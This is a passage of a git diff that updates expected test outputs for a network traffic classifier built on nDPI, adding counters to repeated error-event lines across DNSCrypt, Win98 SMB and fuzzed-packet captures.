[.......10.0.0.1][48300] -> [.144.91.106.227][..443] detected: [...199] [ip4][..udp] [.......10.0.0.1][48300] -> [.144.91.106.227][..443] [DNScrypt][Network][Safe] new: [...200] [ip4][..udp] [.......10.0.0.1][41108] -> [.144.91.106.227][..443] detected: [...200] [ip4][..udp] [.......10.0.0.1][41108] -> [.144.91.106.227][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [4/16] new: [...201] [ip4][..udp] [.......10.0.0.1][48237] -> [.144.91.106.227][..443] detected: [...201] [ip4][..udp] [.......10.0.0.1][48237] -> [.144.91.106.227][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [5/16] new: [...202] [ip4][..udp] [.......10.0.0.1][54305] -> [.144.91.106.227][..443] detected: [...202] [ip4][..udp] [.......10.0.0.1][54305] -> [.144.91.106.227][..443] [DNScrypt][Network][Safe] new: [...203] [ip4][..udp] [.......10.0.0.1][55469] -> [.144.91.106.227][..443] detected: [...203] [ip4][..udp] [.......10.0.0.1][55469] -> [.144.91.106.227][..443] [DNScrypt][Network][Safe] new: [...204] [ip4][..udp] [.......10.0.0.1][54204] -> [.144.91.106.227][..443] detected: [...204] [ip4][..udp] [.......10.0.0.1][54204] -> [.144.91.106.227][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [6/16] new: [...205] [ip4][..udp] [.......10.0.0.1][33293] -> [..46.227.200.55][.8443] detected: [...205] [ip4][..udp] [.......10.0.0.1][33293] -> [..46.227.200.55][.8443] [DNScrypt][Network][Safe] new: [...206] [ip4][..udp] [.......10.0.0.1][38242] -> [..46.227.200.55][.8443] detected: [...206] [ip4][..udp] [.......10.0.0.1][38242] -> [..46.227.200.55][.8443] [DNScrypt][Network][Safe] new: [...207] [ip4][..udp] [.......10.0.0.1][33246] -> [..46.227.200.55][.8443] detected: [...207] [ip4][..udp] [.......10.0.0.1][33246] -> [..46.227.200.55][.8443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [7/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [8/16] new: [...208] [ip4][..udp] [.......10.0.0.1][50277] -> [..46.227.200.55][.8443] detected: [...208] [ip4][..udp] [.......10.0.0.1][50277] -> [..46.227.200.55][.8443] [DNScrypt][Network][Safe] new: [...209] [ip4][..udp] [.......10.0.0.1][44161] -> [..46.227.200.55][.8443] detected: [...209] [ip4][..udp] [.......10.0.0.1][44161] -> [..46.227.200.55][.8443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [9/16] new: [...210] [ip4][..udp] [.......10.0.0.1][49177] -> [..46.227.200.55][.8443] detected: [...210] [ip4][..udp] [.......10.0.0.1][49177] -> [..46.227.200.55][.8443] [DNScrypt][Network][Safe] new: [...211] [ip4][..udp] [.......10.0.0.1][54375] -> [..107.170.57.34][..443] detected: [...211] [ip4][..udp] [.......10.0.0.1][54375] -> [..107.170.57.34][..443] [DNScrypt][Network][Safe] new: [...212] [ip4][..udp] [.......10.0.0.1][55185] -> [..107.170.57.34][..443] detected: [...212] [ip4][..udp] [.......10.0.0.1][55185] -> [..107.170.57.34][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [10/16] new: [...213] [ip4][..udp] [.......10.0.0.1][36335] -> [..107.170.57.34][..443] detected: [...213] [ip4][..udp] [.......10.0.0.1][36335] -> [..107.170.57.34][..443] [DNScrypt][Network][Safe] new: [...214] [ip4][..udp] [.......10.0.0.1][37287] -> [..107.170.57.34][..443] @@ -700,8 +641,8 @@ detected: [...215] [ip4][..udp] [.......10.0.0.1][33143] -> [..107.170.57.34][..443] [DNScrypt][Network][Safe] new: [...216] [ip4][..udp] [.......10.0.0.1][42141] -> [..107.170.57.34][..443] detected: [...216] [ip4][..udp] [.......10.0.0.1][42141] -> [..107.170.57.34][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [11/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [12/16] new: [...217] [ip4][..udp] [.......10.0.0.1][56988] -> [185.193.127.244][..443] detected: [...217] [ip4][..udp] [.......10.0.0.1][56988] -> [185.193.127.244][..443] [DNScrypt][Network][Safe] new: [...218] [ip4][..udp] [.......10.0.0.1][50062] -> [185.193.127.244][..443] @@ -710,13 +651,13 @@ detected: [...219] [ip4][..udp] [.......10.0.0.1][59354] -> [185.193.127.244][..443] [DNScrypt][Network][Safe] new: [...220] [ip4][..udp] [.......10.0.0.1][54920] -> [185.193.127.244][..443] detected: [...220] [ip4][..udp] [.......10.0.0.1][54920] -> [185.193.127.244][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [13/16] new: [...221] [ip4][..udp] [.......10.0.0.1][46314] -> [185.193.127.244][..443] detected: [...221] [ip4][..udp] [.......10.0.0.1][46314] -> [185.193.127.244][..443] [DNScrypt][Network][Safe] new: [...222] [ip4][..udp] [.......10.0.0.1][47971] -> [185.193.127.244][..443] detected: [...222] [ip4][..udp] [.......10.0.0.1][47971] -> [185.193.127.244][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [14/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [15/16] new: [...223] [ip4][..udp] [.......10.0.0.1][49568] -> [...77.66.84.233][..443] detected: [...223] [ip4][..udp] [.......10.0.0.1][49568] -> [...77.66.84.233][..443] [DNScrypt][Network][Safe] new: [...224] [ip4][..udp] [.......10.0.0.1][46140] -> [...77.66.84.233][..443] @@ -725,13 +666,11 @@ detected: [...225] [ip4][..udp] [.......10.0.0.1][40209] -> [...77.66.84.233][..443] [DNScrypt][Network][Safe] new: [...226] [ip4][..udp] [.......10.0.0.1][49732] -> [...77.66.84.233][..443] detected: [...226] [ip4][..udp] [.......10.0.0.1][49732] -> [...77.66.84.233][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [16/16] new: [...227] [ip4][..udp] [.......10.0.0.1][50757] -> [...77.66.84.233][..443] detected: [...227] [ip4][..udp] [.......10.0.0.1][50757] -> [...77.66.84.233][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [...228] [ip4][..udp] [.......10.0.0.1][57109] -> [...77.66.84.233][..443] detected: [...228] [ip4][..udp] [.......10.0.0.1][57109] -> [...77.66.84.233][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed update: [...159] [ip4][..udp] [.......10.0.0.1][39816] -> [167.114.220.125][..443] [DNScrypt][Network][Safe] update: [...175] [ip4][..udp] [.......10.0.0.1][51647] -> [..142.4.204.111][..443] [DNScrypt][Network][Safe] update: [...168] [ip4][..udp] [.......10.0.0.1][59749] -> [..5.189.170.196][..465] [DNScrypt][Network][Safe] @@ -778,11 +717,8 @@ detected: [...232] [ip4][..udp] [.......10.0.0.1][53045] -> [..23.111.74.205][..443] [DNScrypt][Network][Safe] new: [...233] [ip4][..udp] [.......10.0.0.1][34024] -> [..23.111.74.205][..443] detected: [...233] [ip4][..udp] [.......10.0.0.1][34024] -> [..23.111.74.205][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [...234] [ip4][..udp] [.......10.0.0.1][60113] -> [..23.111.74.205][..443] detected: [...234] [ip4][..udp] [.......10.0.0.1][60113] -> [..23.111.74.205][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [...235] [ip4][..udp] [.......10.0.0.1][47545] -> [..151.80.222.79][..443] detected: [...235] [ip4][..udp] [.......10.0.0.1][47545] -> [..151.80.222.79][..443] [DNScrypt][Network][Safe] new: [...236] [ip4][..udp] [.......10.0.0.1][38660] -> [.144.91.106.227][..443] diff --git a/test/results/flow-info/dos_win98_smb_netbeui.pcap.out b/test/results/flow-info/dos_win98_smb_netbeui.pcap.out index ae553abfd..f0d18fb41 100644 --- a/test/results/flow-info/dos_win98_smb_netbeui.pcap.out +++ b/test/results/flow-info/dos_win98_smb_netbeui.pcap.out @@ -1,183 +1,60 @@ DAEMON-EVENT: init DAEMON-EVENT: [Processed: 0 pkts][ZLib][compressions: 0|diff: 0 / 0] DAEMON-EVENT: [Flows][active: 0 / 0|skipped: 0|!detected: 0|guessed: 0|detection-updates: 0|updates: 0] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] + ERROR-EVENT: Unknown packet type [2/16] + ERROR-EVENT: Unknown packet type [3/16] + ERROR-EVENT: Unknown packet type [4/16] + ERROR-EVENT: Unknown packet type [5/16] + ERROR-EVENT: Unknown packet type [6/16] + ERROR-EVENT: Unknown packet type [7/16] + ERROR-EVENT: Unknown packet type [8/16] new: [.....1] [ip4][..udp] [192.168.239.129][..137] -> [..192.168.239.2][..137] detected: [.....1] [ip4][..udp] [192.168.239.129][..137] -> [..192.168.239.2][..137] [NetBIOS][System][Acceptable][mdjr98] new: [.....2] [ip4][.icmp] [192.168.239.129] -> [......224.0.0.2] detected: [.....2] [ip4][.icmp] [192.168.239.129] -> [......224.0.0.2] [ICMP][Network][Acceptable] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [9/16] + ERROR-EVENT: Unknown packet type [10/16] + ERROR-EVENT: Unknown packet type [11/16] new: [.....3] [ip4][..udp] [192.168.239.129][..137] -> [192.168.239.255][..137] detected: [.....3] [ip4][..udp] [192.168.239.129][..137] -> [192.168.239.255][..137] [NetBIOS][System][Acceptable][mdjr98] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [12/16] new: [.....4] [ip4][..udp] [192.168.239.129][..138] -> [192.168.239.255][..138] detected: [.....4] [ip4][..udp] [192.168.239.129][..138] -> [192.168.239.255][..138] [NetBIOS.SMBv1][System][Dangerous][mdjr98] RISK: Unsafe Protocol - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [13/16] + ERROR-EVENT: Unknown packet type [14/16] + ERROR-EVENT: Unknown packet type [15/16] + ERROR-EVENT: Unknown packet type [16/16] update: [.....2] [ip4][.icmp] [192.168.239.129] -> [......224.0.0.2] [ICMP][Network][Acceptable] update: [.....1] [ip4][..udp] [192.168.239.129][..137] -> [..192.168.239.2][..137] [NetBIOS][System][Acceptable] update: [.....3] [ip4][..udp] [192.168.239.129][..137] -> [192.168.239.255][..137] [NetBIOS][System][Acceptable] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] + ERROR-EVENT: Unknown packet type [2/16] + ERROR-EVENT: Unknown packet type [3/16] + ERROR-EVENT: Unknown packet type [4/16] + ERROR-EVENT: Unknown packet type [5/16] + ERROR-EVENT: Unknown packet type [6/16] + ERROR-EVENT: Unknown packet type [7/16] + ERROR-EVENT: Unknown packet type [8/16] + ERROR-EVENT: Unknown packet type [9/16] + ERROR-EVENT: Unknown packet type [10/16] + ERROR-EVENT: Unknown packet type [11/16] + ERROR-EVENT: Unknown packet type [12/16] + ERROR-EVENT: Unknown packet type [13/16] + ERROR-EVENT: Unknown packet type [14/16] + ERROR-EVENT: Unknown packet type [15/16] + ERROR-EVENT: Unknown packet type [16/16] update: [.....4] [ip4][..udp] [192.168.239.129][..138] -> [192.168.239.255][..138] [NetBIOS.SMBv1][System][Dangerous] RISK: Unsafe Protocol - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type update: [.....2] [ip4][.icmp] [192.168.239.129] -> [......224.0.0.2] [ICMP][Network][Acceptable] update: [.....1] [ip4][..udp] [192.168.239.129][..137] -> [..192.168.239.2][..137] [NetBIOS][System][Acceptable] update: [.....3] [ip4][..udp] [192.168.239.129][..137] -> [192.168.239.255][..137] [NetBIOS][System][Acceptable] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type update: [.....4] [ip4][..udp] [192.168.239.129][..138] -> [192.168.239.255][..138] [NetBIOS.SMBv1][System][Dangerous] RISK: Unsafe Protocol - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] + ERROR-EVENT: Unknown packet type [2/16] + ERROR-EVENT: Unknown packet type [3/16] analyse: [.....3] [ip4][..udp] [192.168.239.129][..137] -> [192.168.239.255][..137] [NetBIOS][System][Acceptable] min| max| avg| stddev| variance| entropy [IAT.........: 0.000| 96.434| 4.235| 17.262| 297969697.948| 1.500] diff --git a/test/results/flow-info/fuzz-2006-06-26-2594.pcap.out b/test/results/flow-info/fuzz-2006-06-26-2594.pcap.out index 72f7921dd..8673b9c5c 100644 --- a/test/results/flow-info/fuzz-2006-06-26-2594.pcap.out +++ b/test/results/flow-info/fuzz-2006-06-26-2594.pcap.out @@ -16,7 +16,7 @@ new: [.....8] [ip4][..udp] [..192.168.1.110][.2713] -> [....192.168.1.1][...53] detected: [.....8] [ip4][..udp] [..192.168.1.110][.2713] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][] RISK: Malformed Packet - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] new: [.....9] [ip4][..udp] [....192.168.1.2][.2597] -> [....192.168.1.1][29440] detection-update: [.....7] [ip4][..udp] [....192.168.1.2][.2713] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] new: [....10] [ip4][..udp] [....192.168.1.2][.2714] -> [....192.168.1.1][...53] @@ -29,13 +29,13 @@ new: [....13] [ip4][..udp] [....192.168.1.2][.2715] -> [....192.168.1.1][...53] detected: [....13] [ip4][..udp] [....192.168.1.2][.2715] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] detection-update: [....13] [ip4][..udp] [....192.168.1.2][.2715] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] detection-update: [....13] [ip4][..udp] [....192.168.1.2][.2715] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cyber?ity.dk] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] new: [....14] [ip4][..udp] [....192.168.1.2][.2716] -> [....192.168.1.1][...53] detected: [....14] [ip4][..udp] [....192.168.1.2][.2716] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][1.0.0.127.in-addr.arpa] new: [....15] [ip4][..udp] [....192.168.1.1][.9587] -> [....192.168.1.2][..156] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [3/16] new: [....16] [ip4][..udp] [..208.242.33.35][.5060] -> [....192.168.1.2][.5060] detected: [....16] [ip4][..udp] [..208.242.33.35][.5060] -> [....192.168.1.2][.5060] [SIP][VoIP][Acceptable] new: [....17] [ip4][..udp] [....192.168.1.2][..138] -> [..192.168.1.251][..138] @@ -64,10 +64,10 @@ detection-update: [....22] [ip4][..udp] [....192.168.1.2][.2719] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][] RISK: Malformed Packet new: [....23] [ip4][..tcp] [....192.168.1.2][.2720] -> [..147.234.1.253][...21] - ERROR-EVENT: Unknown L3 protocol + ERROR-EVENT: Unknown L3 protocol [1/16] new: [....24] [ip4][..tcp] [..147.234.1.253][...21] -> [....192.169.1.2][.2720] [MIDSTREAM] new: [....25] [ip4][..tcp] [....192.168.1.2][.2679] -> [..147.234.1.253][...21] [MIDSTREAM] - ERROR-EVENT: Unknown L3 protocol + ERROR-EVENT: Unknown L3 protocol [2/16] new: [....26] [ip4][..tcp] [..147.234.1.253][...21] -> [......192.2.1.2][.2720] [MIDSTREAM] new: [....27] [ip4][..tcp] [..147.234.1.253][...21] -> [...192.168.1.66][.2720] [MIDSTREAM] new: [....28] [ip4][..tcp] [..147.234.1.253][..120] -> [....192.168.1.2][.2720] [MIDSTREAM] @@ -77,19 +77,19 @@ new: [....32] [ip4][..tcp] [..147.234.1.253][...21] -> [....192.168.1.2][.2732] [MIDSTREAM] new: [....33] [ip4][..tcp] [..147.234.1.253][.1045] -> [....192.168.1.2][.2720] [MIDSTREAM] new: [....34] [ip4][..tcp] [..147.234.1.253][...21] -> [...192.168.65.2][.2720] [MIDSTREAM] - ERROR-EVENT: Unknown L3 protocol + ERROR-EVENT: Unknown L3 protocol [3/16] new: [....35] [ip4][..tcp] [..147.234.1.253][...21] -> [.....84.168.1.2][.2720] [MIDSTREAM] new: [....36] [ip4][..tcp] [....192.112.1.2][.2720] -> [..147.234.1.253][...21] [MIDSTREAM] new: [....37] [ip4][..170] [170.170.170.170] -> [170.170.170.170] new: [....38] [ip4][..tcp] [....192.168.1.2][.2720] -> [..147.117.1.253][...21] [MIDSTREAM] new: [....39] [ip4][..tcp] [....192.168.1.6][.2721] -> [..147.234.1.253][58999] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [4/16] new: [....40] [ip4][..tcp] [...37.115.0.253][58999] -> [....192.168.1.2][.2721] - ERROR-EVENT: TCP packet smaller than expected + ERROR-EVENT: TCP packet smaller than expected [5/16] new: [....41] [ip4][..tcp] [....192.168.1.2][.2721] -> [..147.234.1.253][58999] [MIDSTREAM] new: [....42] [ip4][..tcp] [..147.234.1.253][58999] -> [....192.232.1.2][.2721] [MIDSTREAM] new: [....43] [ip4][..tcp] [.....37.115.0.2][.2639] -> [..147.234.1.253][...21] [MIDSTREAM] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [6/16] update: [....16] [ip4][..udp] [..208.242.33.35][.5060] -> [....192.168.1.2][.5060] [SIP][VoIP][Acceptable] update: [....14] [ip4][..udp] [....192.168.1.2][.2716] -> [....192.168.1.1][...53] update: [....15] [ip4][..udp] [....192.168.1.1][.9587] -> [....192.168.1.2][..156] @@ -97,7 +97,7 @@ detected: [....44] [ip4][..udp] [....192.168.1.2][.2722] -> [....192.136.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] new: [....45] [ip4][..udp] [....192.168.1.2][.2722] -> [....192.168.1.1][...53] detected: [....45] [ip4][..udp] [....192.168.1.2][.2722] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] update: [.....4] [ip4][..udp] [....192.168.1.2][.2712] -> [...192.37.115.0][...53] update: [.....1] [ip4][..udp] [....192.168.1.2][..137] -> [..192.168.1.255][..137] [NetBIOS][System][Acceptable] update: [....17] [ip4][..udp] [....192.168.1.2][..138] -> [..192.168.1.251][..138] [NetBIOS.SMBv1][System][Dangerous] @@ -135,7 +135,7 @@ detection-update: [....51] [ip4][..udp] [....192.168.1.2][.2725] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][1.0.0.127.in-addr.arpa] new: [....52] [ip4][..udp] [...192.168.1.46][...53] -> [....192.168.1.2][.2726] detected: [....52] [ip4][..udp] [...192.168.1.46][...53] -> [....192.168.1.2][.2726] [DNS][Network][Acceptable][sip.cybercity.dk] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] idle: [.....4] [ip4][..udp] [....192.168.1.2][.2712] -> [...192.37.115.0][...53] guessed: [.....2] [ip4][..udp] [....217.168.1.2][..137] -> [..192.168.1.255][..137] [NetBIOS][System][Acceptable][] idle: [.....2] [ip4][..udp] [....217.168.1.2][..137] -> [..192.168.1.255][..137] @@ -196,10 +196,10 @@ update: [....21] [ip4][..udp] [....192.114.1.2][.2719] -> [....192.168.1.1][...53] new: [....53] [ip4][..udp] [..192.168.1.202][..137] -> [..192.168.1.255][..137] detected: [....53] [ip4][..udp] [..192.168.1.202][..137] -> [..192.168.1.255][..137] [NetBIOS][System][Acceptable][eci_dom] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] new: [....54] [ip4][..udp] [....192.168.1.2][.2732] -> [....192.168.1.1][...53] detected: [....54] [ip4][..udp] [....192.168.1.2][.2732] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] idle: [....22] [ip4][..udp] [....192.168.1.2][.2719] -> [....192.168.1.1][...53] [DNS][Network][Acceptable] RISK: Malformed Packet idle: [....21] [ip4][..udp] [....192.114.1.2][.2719] -> [....192.168.1.1][...53] @@ -238,7 +238,7 @@ idle: [....46] [ip4][..udp] [....192.168.1.1][...53] -> [....192.168.1.2][.2723] [DNS][Network][Acceptable] guessed: [....49] [ip4][..udp] [....192.168.1.2][..137] -> [..192.168.1.255][25481] [NetBIOS][System][Acceptable][] idle: [....49] [ip4][..udp] [....192.168.1.2][..137] -> [..192.168.1.255][25481] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] new: [....63] [ip4][..udp] [....192.168.1.2][..137] -> [..192.168.1.255][..169] idle: [....50] [ip4][..udp] [....192.168.1.2][.2724] -> [...192.168.17.1][...53] idle: [....48] [ip4][..udp] [....192.168.1.2][.2724] -> [....192.168.1.1][...53] @@ -248,7 +248,7 @@ detected: [....64] [ip4][..udp] [....192.168.1.2][.2736] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] new: [....65] [ip4][..udp] [....192.168.1.2][.2684] -> [....192.168.1.1][...53] detected: [....65] [ip4][..udp] [....192.168.1.2][.2684] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.dybercity.dk] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] new: [....66] [ip4][..udp] [....192.168.1.2][.2736] -> [...192.168.1.17][...53] detected: [....66] [ip4][..udp] [....192.168.1.2][.2736] -> [...192.168.1.17][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] detection-update: [....64] [ip4][..udp] [....192.168.1.2][.2736] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] @@ -284,7 +284,7 @@ new: [....73] [ip4][..udp] [....192.168.1.2][.2740] -> [....192.168.1.1][...53] detected: [....73] [ip4][..udp] [....192.168.1.2][.2740] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cyberci_s] detection-update: [....73] [ip4][..udp] [....192.168.1.2][.2740] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] detection-update: [....73] [ip4][..udp] [....192.168.1.2][.2740] -> [....192.168.1.1][...53] [DNS][Network][Acceptable][_sip._udp.sip.cybercity.dk] RISK: Malformed Packet new: [....74] [ip4][..udp] [....192.168.1.2][..137] -> [..192.168.1.255][.8329] @@ -318,7 +318,7 @@ update: [....61] [ip4][..udp] [....200.168.1.2][.2735] -> [....192.168.1.1][...53] update: [....62] [ip4][..udp] [....253.168.1.1][...53] -> [....192.168.1.2][.2735] [DNS][Network][Acceptable] update: [....37] [ip4][..170] [170.170.170.170] -> [170.170.170.170] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] new: [....79] [ip4][..udp] [....192.168.1.2][.2743] -> [....192.168.1.1][...53] detected: 